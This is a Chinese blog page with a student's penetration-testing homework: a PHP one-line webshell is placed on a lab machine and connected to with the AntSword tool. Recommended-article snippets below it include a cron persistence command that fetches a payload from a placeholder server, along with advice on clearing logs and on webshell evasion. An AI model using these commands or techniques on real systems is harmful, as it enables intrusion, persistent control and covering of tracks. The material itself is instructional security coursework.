渗透测试课程作业之蚁剑连接实验

最新推荐文章于 2025-04-03 10:42:40 发布

原创最新推荐文章于 2025-04-03 10:42:40 发布 · 202 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

靶机ip(使用phpstudy搭建web环境):192.168.119.130

创建php一句话木马（将shell.txt改为shell.php）

使用浏览器访问一句话木马shell.php，回显正常

使用蚁剑连接，连接成功

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

红眼长翅大果蝇

关注关注

3
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

[网络安全自学篇] 八十九.PE文件解析之通过Python获取时间戳

杨秀璋的专栏

07-23

1万+

这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了基于机器学习的恶意代码检测技术，包括机器学习概述与算法举例、基于机器学习方法的恶意代码检测、机器学习算法在工业界的应用。这篇文章将尝试软件来源分析，结合APT攻击中常见的判断方法，利用Python调用扩展包进行溯源，但也存在局限性。文章同时也普及了PE文件分析和APT溯源相关基础，基础性文章，希望对您有所帮助~

AI人工智能领域分类：AI与传统行业融合趋势

最新发布

AI 领航者的博客

06-05

800

过去10年，AI技术（如深度学习、自然语言处理、计算机视觉）从“论文里的数学公式”逐渐演变为“能解决实际问题的工具”。但AI的真正价值，不在于实验室里的高精度模型，而在于与农业、制造、医疗等“烟火气”行业的深度融合。本文聚焦AI在传统行业的垂直分类与融合趋势，覆盖农业、制造业、医疗、金融、教育五大核心领域，解答“AI如何具体改造传统行业”“不同行业的融合模式有何差异”“未来会出现哪些新机会”等关键问题。本文先通过一个“AI种番茄”的故事引出主题，再拆解AI与传统行业融合的核心概念；

参与评论您还未登录，请先登录后发表或查看评论

作业从外到内：一次完整的渗透测试！作业

32bin的博客

10-12

1662

从外到内：一次完整的渗透测试

下载、安装和使用网站控制工具——中国蚁剑

北冥同学的成长记录笔记

06-21

3249

中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。通俗的讲：中国蚁剑是一款比菜刀还牛的shell控制端软件。因此，作为网络安全人员，对于中国蚁剑这个工具的使用是必须掌握的。

渗透测试作业

weixin_65908240的博客

03-08

4815

1.1 Whois 查询 Whois是一个标准的互联网协议，可用于收集网络注册信息，注册的域名、IP地址等信息。简单来说，Whois就是一个用于查询域名是否已被注册以及注册域名的详细信息的数据库(如域名所有人、域名注册商)。在Whois查询中，得到注册人的姓名和邮箱信息通常对测试个人站点非常有用，因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。对中小站点而言，域名所有人往往就是管理员。在Kali系统中，Whois已经默认安装,只需输入要查询的域名即可。 1.1.2 备案信息查询网站备案是

蚁剑安装使用教程(附:上传漏洞示例)

li963820454的博客

04-06

2万+

蚁剑简单安装使用教程(附带示例)

蚁剑安装以及使用方法

热门推荐

qq_45951598的博客

09-14

2万+

一、蚁剑如何安装蚁剑安装分两个步骤一个是下载源代码，还有一个加载器，用加载器去加载源代码，下载的的文件路径一定要记得蚁剑源码下载：https://github.com/AntSwordProject/antSword 蚁剑加载器下载：https://github.com/AntSwordProject/AntSword-Loader 下载之后解压缩之后是这样的点击AntSword-Loader-v4.0.3-win32-x64这个文件打开AntSword.exe 点击初始化点击初始化点击选

网络安全综合实训

2301_79639443的博客

01-28

1749

实验1 web站点渗透测试1。

DeepSeek大模型训练及大模型训练师的价值和意义

一枚农夫，闲来有事聊聊天，交个朋友，让沉闷的生活畅想下

04-03

1708

一、训练定义与核心内容1.技术架构DeepSeek基于Transformer架构，融合稀疏注意力机制和混合专家（MoE）架构，通过自注意力机制处理长文本依赖关系，并通过MoE动态分配计算资源，实现轻量化参数与高性能的平衡。o创新点：引入专利数据管理技术减少冗余存储，优化训练效率；o模型版本：包括通用大语言模型（如DeepSeek-LLM）、代码模型（DeepSeek-Coder）及MoE模型（DeepSeek-MoE）。2.主要训练内容o数据准备。

蚁剑连接两个形式--免杀

m0_68976043的博客

03-13

1234

大致的意思会输出一些内容随机字符串+环境变量+随机字符串，如果用eval代替assert是完全没问题的，我查了下资料，assert是不能执行多个语句的，eval可以，所以这里使用assert会有返回为空的问题。这里简单来说就是eval函数中参数是字符，如：eval('echo 1;assert函数中参数为表达式（或者为函数），如：assert(phpinfo())这个问题可以使用base64编码的问题解决，编码后的数据包，可以看到ant这个参数传入的是一句话，因此就可以通过assert执行成功。

渗透测试环境搭建与工具“中国蚁剑”的使用

weixin_63286108的博客

06-17

7746

渗透测试环境搭建和渗透工具“中国蚁剑”的简单使用

流量特征分析——蚁剑、菜刀、冰蝎、哥斯拉

Sgirll的博客

07-22

1万+

通过对这三种常见的网络攻击工具流量特征的分析，我们可以更好地了解它们在网络流量中的表现。同时，持续的学习和了解新兴攻击工具的流量特征也是保持网络安全的重要一环。哥斯拉的数据包中包含了特定的标记，如"XORHEAD"和"XORBODY"，用于标识该数据包是哥斯拉的控制命令。此外，哥斯拉还使用了一种自定义的二进制协议，在通信中传输各种类型的数据。本文将重点研究菜刀、蚁剑和冰蝎这三种常见的网络攻击工具，分析它们在流量中留下的痕迹和特征，以便网络管理员和安全专家能够更好地识别和对抗这些工具所带来的潜在威胁。

AntSword蚁剑的应用（一句话密码病毒）

2301_80127468的博客

11-01

870

AntSword与一句话病毒

渗透综合实验

2302_80154995的博客

09-06

1759

渗透综合实验报告

Linux通过反弹Shell提权实验

qq_59201520的博客

02-20

3185

通过反弹shell在Linux上提权的实验

第三次渗透作业：从qq中抓包图片

sb_scdn的博客

11-25

341

得到I Pv4的地址后，用手机发一张图片给电脑中的QQ，然后打开wireshark，选择捕获WLAN，然后在wireshark中出现多个数据，在查找栏输入ip.src==电脑的ipv4地址，然后回车，再然后在字符串查找栏输入http，回车（因为qq传输数据用的是http协议），选择正确的数据。然后选择搜索，选择查找十六进制数值，查找ffd8ff，找到ffd8ff后，将这之前的数据用键盘的delete键清除，然后图片就会出现。然后选择另存为，将这些数据以后缀为.jpg形式的保存。

中国蚁剑安装使用教程

天天学安全专属博客

03-29

2万+

中国蚁剑安装教程，中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。如上主要包括蚁剑的下载，连接一句话木马，更改木马连接参数，绕过WAF。

网络渗透作业202105110124郭静

weixin_67854030的博客

03-17

5041

1.5指纹识别指纹识别的特征：终身不变性、唯一性、方便性本节所讲的指纹指网站CMS指纹识别、计算机操作系统、web容器的指纹识别应用程序一般在HTML、CSS、JavaScript中多多少少会包含一些特征码，比如WordPress在robots.txt包含wp-admin、首页index.php中会包含generator=wordpress 3.xx，这个特征就是CMS的指纹，当碰到其他网站也存在此信息时，就可以快速识别出该CMS，所以叫指纹识别. 常见的指纹识别对象 CMS信息大汉CM

中国蚁剑的工作原理

无痕的博客

01-12

2719

抓包分析中国蚁剑的工作原理

vulnhub靶机渗透测试教学连接蚁剑

01-11

### 关于 Vulnhub 靶机渗透测试教学资源对于希望深入学习并实践渗透测试技能的人来说，Vulnhub 提供了一个理想的平台。JIS-CTF入门靶场非常适合刚开始接触渗透测试的新手[^4]。 #### 蚁剑 (AntSword) 的使用教程蚁剑是一款功能强大的 WebShell 管理工具，支持多种编程语言编写的WebShell管理，并且具有良好的界面设计和丰富的特性。以下是基于蚁剑进行渗透测试的一个简单流程： 1. **获取 WebShell** 在许多情况下，通过漏洞利用可以获得目标服务器上的一个简易webshell访问权限。例如，在某些特定条件下可以上传php文件或执行远程代码注入攻击获得初步控制权。 2. **连接至蚁剑客户端** 下载并安装蚁剑后打开程序，点击`新建站点`,输入相应的URL路径,用户名密码等信息完成配置。 3. **探索与提权** 利用蚁剑内置的功能模块进一步探测系统内部结构，尝试发现潜在的安全弱点以便实施本地提权或其他高级操作。比如读取敏感文件、枚举网络接口等等。 4. **保持持久化** 成功取得较高权限之后，考虑如何建立稳定可靠的反向连接通道以维持长期控制。这可能涉及到设置计划任务、修改启动项等多种手段确保即使重启也能自动恢复会话。 ```bash # 设置Linux定时任务实现开机自启脚本 echo "* * * * * curl http://yourserver/payload.php" >> /var/spool/cron/root ``` 5. **清理痕迹** 完成所有预定动作前务必清除日志记录和其他可能会暴露身份的信息以防被管理员察觉异常活动的存在。需要注意的是上述内容仅用于合法授权范围内的安全评估工作，请勿非法入侵他人计算机信息系统！